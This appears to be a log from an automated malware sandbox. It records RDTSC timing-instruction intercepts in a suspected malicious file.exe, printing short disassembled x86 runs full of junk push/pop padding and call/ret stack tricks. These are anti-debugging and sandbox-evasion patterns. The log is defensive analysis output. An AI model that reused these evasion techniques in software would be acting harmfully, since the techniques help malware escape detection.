Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100ADF8 second address: 100ADFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100ADFD second address: 100AE20 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F5700D4469Ah 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDDEC4 second address: FDDEC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDDEC8 second address: FDDED5 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5700D44686h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDDED5 second address: FDDEDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDDEDB second address: FDDEE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1010810 second address: 1010833 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F5701148079h 0x0000000c push eax 0x0000000d pop eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101099A second address: 101099F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1010C32 second address: 1010C47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5701148071h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1010C47 second address: 1010C51 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1010C51 second address: 1010C57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1010C57 second address: 1010C5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1010C5B second address: 1010C80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a jc 00007F5701148073h 0x00000010 jmp 00007F570114806Dh 0x00000015 js 00007F570114806Eh 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1010F67 second address: 1010F6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1010F6B second address: 1010F6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1010F6F second address: 1010F75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10110E1 second address: 10110EB instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F5701148066h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10110EB second address: 1011107 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F5700D446B1h 0x0000000c push eax 0x0000000d jne 00007F5700D44686h 0x00000013 push esi 0x00000014 pop esi 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push edi 0x00000019 pop edi 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1011107 second address: 101110B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101110B second address: 101111C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5700D4468Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1012B73 second address: 1012B7A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1012B7A second address: 1012B8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007F5700D44688h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1012B8C second address: 1012B91 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1012B91 second address: 1012B97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1012CCC second address: 1012CF6 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F5701148066h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F5701148073h 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jne 00007F5701148066h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1012CF6 second address: 1012CFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10133F1 second address: 10133FB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10134D2 second address: 10134FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5700D44698h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a xchg eax, ebx 0x0000000b mov di, dx 0x0000000e nop 0x0000000f js 00007F5700D44694h 0x00000015 push eax 0x00000016 push edx 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10134FE second address: 101350F instructions: 0x00000000 rdtsc 0x00000002 jns 00007F5701148066h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101350F second address: 1013513 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1013513 second address: 1013517 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1013517 second address: 101351D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1013945 second address: 1013976 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 ja 00007F570114806Ch 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jmp 00007F5701148074h 0x00000015 jne 00007F5701148066h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10148E1 second address: 1014904 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5700D4468Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F5700D4468Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10162A7 second address: 1016328 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jc 00007F5701148066h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f add dword ptr [ebp+122D20D9h], edx 0x00000015 push 00000000h 0x00000017 sub dword ptr [ebp+122D1C56h], edi 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push eax 0x00000022 call 00007F5701148068h 0x00000027 pop eax 0x00000028 mov dword ptr [esp+04h], eax 0x0000002c add dword ptr [esp+04h], 0000001Ch 0x00000034 inc eax 0x00000035 push eax 0x00000036 ret 0x00000037 pop eax 0x00000038 ret 0x00000039 jnc 00007F5701148068h 0x0000003f push esi 0x00000040 call 00007F5701148070h 0x00000045 sub esi, 5EEDCAB0h 0x0000004b pop esi 0x0000004c pop edi 0x0000004d push eax 0x0000004e pushad 0x0000004f jmp 00007F5701148077h 0x00000054 push eax 0x00000055 push edx 0x00000056 pushad 0x00000057 popad 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1016328 second address: 101632C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1016E20 second address: 1016E72 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 ja 00007F570114806Ch 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push edi 0x00000012 call 00007F5701148068h 0x00000017 pop edi 0x00000018 mov dword ptr [esp+04h], edi 0x0000001c add dword ptr [esp+04h], 00000017h 0x00000024 inc edi 0x00000025 push edi 0x00000026 ret 0x00000027 pop edi 0x00000028 ret 0x00000029 movsx esi, bx 0x0000002c push 00000000h 0x0000002e mov di, 4EC3h 0x00000032 xchg eax, ebx 0x00000033 push eax 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F5701148071h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1016E72 second address: 1016E76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1016E76 second address: 1016E84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1016E84 second address: 1016E8E instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5700D44686h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1018F02 second address: 1018F53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop ecx 0x00000006 push eax 0x00000007 jnp 00007F570114807Eh 0x0000000d nop 0x0000000e or si, 7178h 0x00000013 push 00000000h 0x00000015 mov edi, 38B9D751h 0x0000001a mov dword ptr [ebp+1246433Ah], edi 0x00000020 push 00000000h 0x00000022 mov esi, dword ptr [ebp+122D1EA7h] 0x00000028 push eax 0x00000029 pushad 0x0000002a jmp 00007F570114806Ah 0x0000002f pushad 0x00000030 pushad 0x00000031 popad 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101AE31 second address: 101AE39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101AE39 second address: 101AE3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101AE3F second address: 101AE45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCEF5A second address: FCEF6E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jns 00007F5701148066h 0x0000000d push edx 0x0000000e pop edx 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101DF58 second address: 101DF5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10203B0 second address: 10203BA instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5701148066h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101DF5F second address: 101DF7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5700D44697h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101DF7A second address: 101DF7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1020526 second address: 102052A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101DF7E second address: 101E027 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov dword ptr [ebp+12455856h], ebx 0x00000011 push dword ptr fs:[00000000h] 0x00000018 mov edi, esi 0x0000001a mov dword ptr fs:[00000000h], esp 0x00000021 push 00000000h 0x00000023 push edx 0x00000024 call 00007F5701148068h 0x00000029 pop edx 0x0000002a mov dword ptr [esp+04h], edx 0x0000002e add dword ptr [esp+04h], 0000001Ch 0x00000036 inc edx 0x00000037 push edx 0x00000038 ret 0x00000039 pop edx 0x0000003a ret 0x0000003b mov dword ptr [ebp+12448B12h], ecx 0x00000041 mov edi, dword ptr [ebp+122D2B9Eh] 0x00000047 mov eax, dword ptr [ebp+122D1679h] 0x0000004d push 00000000h 0x0000004f push eax 0x00000050 call 00007F5701148068h 0x00000055 pop eax 0x00000056 mov dword ptr [esp+04h], eax 0x0000005a add dword ptr [esp+04h], 0000001Ch 0x00000062 inc eax 0x00000063 push eax 0x00000064 ret 0x00000065 pop eax 0x00000066 ret 0x00000067 mov ebx, dword ptr [ebp+122D1D5Ch] 0x0000006d push FFFFFFFFh 0x0000006f jne 00007F5701148066h 0x00000075 add ebx, dword ptr [ebp+122D37E4h] 0x0000007b push eax 0x0000007c push eax 0x0000007d push edx 0x0000007e pushad 0x0000007f jmp 00007F570114806Fh 0x00000084 jnc 00007F5701148066h 0x0000008a popad 0x0000008b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10214DC second address: 10214E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1022331 second address: 10223CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5701148076h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ebx 0x0000000f call 00007F5701148068h 0x00000014 pop ebx 0x00000015 mov dword ptr [esp+04h], ebx 0x00000019 add dword ptr [esp+04h], 0000001Bh 0x00000021 inc ebx 0x00000022 push ebx 0x00000023 ret 0x00000024 pop ebx 0x00000025 ret 0x00000026 pushad 0x00000027 mov esi, 54707D8Eh 0x0000002c mov cx, si 0x0000002f popad 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push edi 0x00000035 call 00007F5701148068h 0x0000003a pop edi 0x0000003b mov dword ptr [esp+04h], edi 0x0000003f add dword ptr [esp+04h], 00000014h 0x00000047 inc edi 0x00000048 push edi 0x00000049 ret 0x0000004a pop edi 0x0000004b ret 0x0000004c movsx ebx, si 0x0000004f push 00000000h 0x00000051 mov bh, ah 0x00000053 xchg eax, esi 0x00000054 pushad 0x00000055 jc 00007F5701148068h 0x0000005b pushad 0x0000005c popad 0x0000005d jmp 00007F5701148072h 0x00000062 popad 0x00000063 push eax 0x00000064 jng 00007F5701148078h 0x0000006a push eax 0x0000006b push edx 0x0000006c jc 00007F5701148066h 0x00000072 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10214E2 second address: 1021507 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5700D44699h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1021507 second address: 102150B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102150B second address: 1021528 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F5700D44695h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102260F second address: 1022668 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F570114806Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jo 00007F5701148066h 0x00000010 jmp 00007F5701148072h 0x00000015 popad 0x00000016 popad 0x00000017 push eax 0x00000018 pushad 0x00000019 jmp 00007F5701148075h 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F5701148075h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1021528 second address: 10215BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ecx 0x0000000b call 00007F5700D44688h 0x00000010 pop ecx 0x00000011 mov dword ptr [esp+04h], ecx 0x00000015 add dword ptr [esp+04h], 0000001Ch 0x0000001d inc ecx 0x0000001e push ecx 0x0000001f ret 0x00000020 pop ecx 0x00000021 ret 0x00000022 xor edi, dword ptr [ebp+122D3B47h] 0x00000028 push dword ptr fs:[00000000h] 0x0000002f mov bh, al 0x00000031 mov dword ptr fs:[00000000h], esp 0x00000038 push 00000000h 0x0000003a push ecx 0x0000003b call 00007F5700D44688h 0x00000040 pop ecx 0x00000041 mov dword ptr [esp+04h], ecx 0x00000045 add dword ptr [esp+04h], 00000018h 0x0000004d inc ecx 0x0000004e push ecx 0x0000004f ret 0x00000050 pop ecx 0x00000051 ret 0x00000052 mov edi, dword ptr [ebp+122D1E7Ah] 0x00000058 jmp 00007F5700D44691h 0x0000005d mov eax, dword ptr [ebp+122D1055h] 0x00000063 push ecx 0x00000064 mov bx, F3CAh 0x00000068 pop ebx 0x00000069 push FFFFFFFFh 0x0000006b mov dword ptr [ebp+122D1CB9h], edi 0x00000071 push eax 0x00000072 pushad 0x00000073 push eax 0x00000074 push edx 0x00000075 push eax 0x00000076 push edx 0x00000077 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10253DC second address: 10253F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F570114806Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10215BB second address: 10215BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10253F3 second address: 10253F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10253F9 second address: 10253FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102636C second address: 1026372 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1026372 second address: 102641B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5700D4468Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push edi 0x0000000f call 00007F5700D44688h 0x00000014 pop edi 0x00000015 mov dword ptr [esp+04h], edi 0x00000019 add dword ptr [esp+04h], 00000019h 0x00000021 inc edi 0x00000022 push edi 0x00000023 ret 0x00000024 pop edi 0x00000025 ret 0x00000026 or ebx, 2CF48051h 0x0000002c movzx edi, bx 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push esi 0x00000034 call 00007F5700D44688h 0x00000039 pop esi 0x0000003a mov dword ptr [esp+04h], esi 0x0000003e add dword ptr [esp+04h], 0000001Ch 0x00000046 inc esi 0x00000047 push esi 0x00000048 ret 0x00000049 pop esi 0x0000004a ret 0x0000004b jmp 00007F5700D44691h 0x00000050 push 00000000h 0x00000052 push 00000000h 0x00000054 push edi 0x00000055 call 00007F5700D44688h 0x0000005a pop edi 0x0000005b mov dword ptr [esp+04h], edi 0x0000005f add dword ptr [esp+04h], 0000001Dh 0x00000067 inc edi 0x00000068 push edi 0x00000069 ret 0x0000006a pop edi 0x0000006b ret 0x0000006c mov ebx, dword ptr [ebp+122D3A8Fh] 0x00000072 push eax 0x00000073 push ebx 0x00000074 push eax 0x00000075 push edx 0x00000076 ja 00007F5700D44686h 0x0000007c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102641B second address: 102641F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1026596 second address: 102659A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102659A second address: 10265A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10282D1 second address: 10282D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102A539 second address: 102A53D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102C5E4 second address: 102C5EE instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F5700D44686h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102D610 second address: 102D677 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 jnl 00007F570114806Ah 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push ecx 0x00000011 call 00007F5701148068h 0x00000016 pop ecx 0x00000017 mov dword ptr [esp+04h], ecx 0x0000001b add dword ptr [esp+04h], 00000017h 0x00000023 inc ecx 0x00000024 push ecx 0x00000025 ret 0x00000026 pop ecx 0x00000027 ret 0x00000028 and ebx, dword ptr [ebp+122D3977h] 0x0000002e push 00000000h 0x00000030 mov dword ptr [ebp+122D2F24h], edi 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push esi 0x0000003b call 00007F5701148068h 0x00000040 pop esi 0x00000041 mov dword ptr [esp+04h], esi 0x00000045 add dword ptr [esp+04h], 00000017h 0x0000004d inc esi 0x0000004e push esi 0x0000004f ret 0x00000050 pop esi 0x00000051 ret 0x00000052 push eax 0x00000053 pushad 0x00000054 pushad 0x00000055 pushad 0x00000056 popad 0x00000057 push eax 0x00000058 push edx 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102A74C second address: 102A752 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1029516 second address: 102951C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1027667 second address: 1027687 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F5700D44695h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102A752 second address: 102A756 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102951C second address: 1029520 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102D795 second address: 102D79F instructions: 0x00000000 rdtsc 0x00000002 jl 00007F570114806Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
